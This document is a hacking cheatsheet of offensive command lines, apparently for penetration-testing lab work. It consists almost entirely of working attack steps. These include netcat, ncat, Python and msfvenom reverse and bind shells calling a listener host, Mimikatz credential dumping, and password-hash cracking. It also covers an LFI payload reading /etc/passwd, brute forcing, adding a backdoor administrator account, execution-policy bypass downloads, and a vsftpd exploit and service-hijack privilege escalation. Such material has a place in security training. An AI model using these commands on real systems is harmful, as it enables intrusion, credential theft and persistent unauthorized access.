Hacking cheatsheet

Hacking command list

Netcat

Connect to port

nc -nv 192.168.1.10 110

Bind port and connect to:

nc -nlvp 4444
nc -nv 192.168.1.10 4444

Copy files

nc -nlvp 4444 > dest-file
nc -nv 192.168.1.10 4444 < local-file

Bind shell and remote execution

nc -nlvp 4444 -e cmd.exe
nc -nv 192.168.1.10 4444

Reverse shell

nc -nlvp 4444
nc -nv 192.168.1.10 4444 -e /bin/bash

Scan ports

nc -nvv -w 1 -z 192.168.1.10 3388-3390

Ncat

Bind shell SSL with allow IP address

ncat --exec cmd.exe --allow 192.168.1.11 -vnl 4444 --ssl
ncat -v 192.168.1.10 4444 --ssl

Reverse shell SSL

ncat -vnl 4444 --ssl
ncat -nv 192.168.1.10 4444 --ssl --exec /bin/bash

Tcpdump

Load a .pcap file

tcpdump -r file.pcap

Filter by source host

tcpdump -n src host 172.16.40.10

Filter by destination host

tcpdump -n dst host 172.16.40.10

Filter by port

tcpdump -n port 80

Print packet data in HEX and ASCI

tcpdump -nXX

Packets with ACK or PSH flags set

tcpdump -A -n 'tcp[13] = 24'

Print HEX data on an 1500 MTU card

tcpdump -i tap0 -nXX -s 1500 port 110

The harvester

Search all sources for email

theharvester -d domain.com -b all

Search employees on linkedin

theharvester -d domain.com -b linkedin

Search emails and query hosts in shodan

theharvester -d domain.com -b bing -h

host

Find name servers

host -t ns domain.com

Find mail servers

host -t mx domain.com

Find address and mail servers

host domain.com

Reverse lookup

host 1.2.3.4

Transfer DNS zone

host -l domain.com domain-nameserver.com

Try all NS DNS zone transfer

HOST=host.com; for ns in $(host -t ns $HOST | awk '{print $4}'); do host -l $HOST $ns | grep "has address" ; done

dnsrecon

Try DNS zone transfer

dnsrecon -d domain.com -t axfr

dnsenum

Enumerate host in a domain

dnsenum domain.com

Nmap

TCP syn/ack scan

nmap -sT 10.11.11.123

Scan all ports

nmap -sS 1.1.1.1 -p-

Identify host in the network (ICMP)

nmap -sn -v 10.11.1.1-254 -oG host.txt

Scan port 80 on all hosts

nmap -p 80 10.11.1.1-254 -oG web-host.txt

OS, port, version, traceroute and script scan of top 20 port in a range

nmap -sT -A -top-ports=20 10.11.1.1-254 -oG top-ports.txt

OS scan

nmap -O 10.11.11.123

Service Version scan

nmap -sV -sT 10.11.11.123

Script discover nsb and host version

nmap 10.11.11.123 -p 139,445 --script smb-os-discovery.nse

Script DNS zone transfer

nmap --script dns-zone-transfer -p 53 ns2.domain.com

Scan for smb services (139-netbios,445-microsoft-ds)

nmap -v -p 139,445 -oG smb.txt 10.11.1.1-254

Enum http path

nmap -v -p 80 192.168.56.101 --script http-enum.ns

SMB

Discover SMB hosts in a network, get IP, NetBIOS name and users

nbtscan -r 10.11.1.0/24

Discover SMB host info

enum4linux -a 10.11.1.227

Search specific vulnerability

nmap -v -p139,445 --script smb-vuln-ms08-067 --script-args=unsafe=1 10.13.10.4

Enumerate shares

nmap --script smb-enum-shares 10.13.10.4 -p139,445 -T4

Map smb shares

smbmap -H 10.14.15.16 -u guest

Mount share

mount -t cifs -o vers=1.0,username=guest,password="" //10.11.12.13/wwwroot /tmp/path

SMTP

Connect smtp

nc -nv 192.168.56.101 25
# Check if user exists
VRFY root

SNMP

  • Port: 161

  • Type: UDP

Scan strings [community, public, manager, etc]

onesixtyone -c snmp_strings.txt 127.0.0.1

Enumerate MIB tree

snmpwalk -c public -v1 127.0.0.1

Enumerate some SMTP OID

snmpwalk -c <COMMUNITY_STRING> <version> <HOST> <OID>

msfvenom

PHP reverse shell

msfvenom -p php/reverse_php LHOST=10.11.0.49 LPORT=443 -f raw > shell.php

Windows bind port (No firewall enabled)

msfvenom -p windows/shell_bind_tcp R LPORT=4446 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d"

Microsoft ASP .net reverse shell

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.49 LPORT=4445 -f asp > shell.asp

Create windows executable

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.49 LPORT=8080 -f exe -e x86/shikata_ga_nai -i 9 -o httpd.exe

GCC / compilation

Regular compilation

gcc -o OpenFuck 47080.c -lcrypto

Cross compile x86 in x86_64 host

gcc -Wall -o <out_file> <exploit.c> -m32 -march=i686 -Wl,--hash-style=both
gcc -m32 -Wl,--hash-style=both -o udev udev.c

Nikto

Analise web with default settings

nikto -host http://10.11.1.10

dirb

Scan web service directories and files

dirb http://192.168.1.10

Scan non recursively, non show attempts and bigger words list

dirb http://192.168.1.10 /usr/share/dirb/wordlists/big.txt -r -S

FTP

Non interactive FTP download from windows

echo open 10.11.0.49 21 > ftp.txt
echo USER xnaaro >> ftp.txt
echo 12345>> ftp.txt
echo bin >> ftp.txt
echo GET wget.exe >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt

Mimikatz

Non interactive hash dump

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

Webserver

Create a python webserver

python -m SimpleHTTPServer 80

NoSQLmap

python nosqlmap.py --attack 2 --victim host.name --webPort 80 --uri / --httpMethod POST --postData username,test_user,password,test_password,login,login --injectedParameter 3 --injectSize 4 --injectFormat 2 --savePath output.log --verb ON

NoSQl user/pass enum

# Git repository: https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
python3 nosqli_enumeration.py -u http://localhost/index.php -up email -pp password -ep password -m POST

Searchsploit

Search exploit

searchsploit <name>

See exploit code

searchsploit -x /path/exploit

Copy exploit current location

searchsploit -m path/exploit

John the ripper

Merge passwd and shadow files

unshadow /etc/passwd /etc/shadow > unshadow.txt

Crack passwords

john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadow_pass.txt

Crack SSH key passphrase

/usr/share/john/ssh2john.py id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

Mutate cewl dictionary

john --wordlist=cewl_words.txt --rules --stdout > mutated_words

hashcat

Crack linux passwords

hashcat -m 1800 -O passwd.hash /usr/share/wordlists/rockyou.txt --force

File inclusion

LFI example

http://10.12.13.14/classes/phpmailer/class.cs_phpmailer.php?classes_dir=/etc/passwd%00

Shells

Python interactive bash shell

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm && export SHELL=bash

Scape restricted shell: -rbash: /usr/bin/python: restricted: cannot specify '/' in command names

BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

Python reverse shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.0.49",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Mysql

Non interactive queries

mysql -u <user> -p<passwd> -D otrs -e "show databases;"

Robots.txt

Crawl robots txt as a search engine agent

curl --user-agent Googlebot http://10.11.12.13/robots.txt -v

Hydra

Generate passwds from web words

cewl http://10.11.12.13 -m 2 -w output

Brute force logging

hydra -L usernames.txt -P passwords.txt <IP>  <MODE> "<PATH>:Action=<HTTP_QUERY>&User=^USER^&Password=^PASS^:<ERROR message when fail"
# Example
hydra -L usernames -P output 10.11.12.13  http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=300&User=^USER^&Password=^PASS^:F=Login"

Fuzzing

ffuz

Silent fuzzing

ffuf -s -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.168:8080/FUZZ

Whatweb

$ whatweb http://10.10.10.168:8080   
http://10.10.10.168:8080 [200 OK] Country[RESERVED][ZZ], Email[secure@obscure.htb], HTML5, HTTPServer[BadHTTPServer], IP[10.10.10.168], JQuery, Script, Title[0bscura], X-UA-Compatible[IE=Edge]

Windows commands

Create admin user with RDP

net user xnaaro 12345 /add
net localgroup administrators xnaaro /add
net localgroup "Remote Desktop Users" xnaaro /add

Quick local enumeration

echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: &  type "C:\Documents and Settings\Administrator\Desktop\proof.txt"

Downloads

Download file with powershell

  • Option 1

echo (New-Object System.Net.WebClient).DownloadFile("http://10.11.0.49/wget.exe", "wget.exe") > wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

  • Option 2

PowerShell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile (New-Object System.Net.WebClient).DownloadFile('http://10.11.0.49/wget.exe','wget.exe')

Non interactive download

echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://10.11.0.49/wget.exe" >>wget.ps1
echo $file = "wget.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Download file with certutil

certutil -urlcache -split -f "http://10.11.0.49/wget.exe" wget.exe

Windows exploit suggester

Copy systeminfo to local host

./windows-exploit-suggester.py --database 2019-11-29-mssb.xls --systeminfo /tmp/systeminfo

Well know exploits

Common vulnerabilities

vsFTPD 2.3.4

Exploit and reverse shell

python3 vsftpd_234_exploit.py 192.168.56.101 21 "sh -c 'nc -nv 192.168.56.1 44444 -e /bin/bash > /dev/null 2>&1 &'"

Windows XP SP1 priv escalation

sc config upnphost binpath= "C:\Inetpub\Scripts\nc.exe 10.11.0.49 10000 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
net start upnphost
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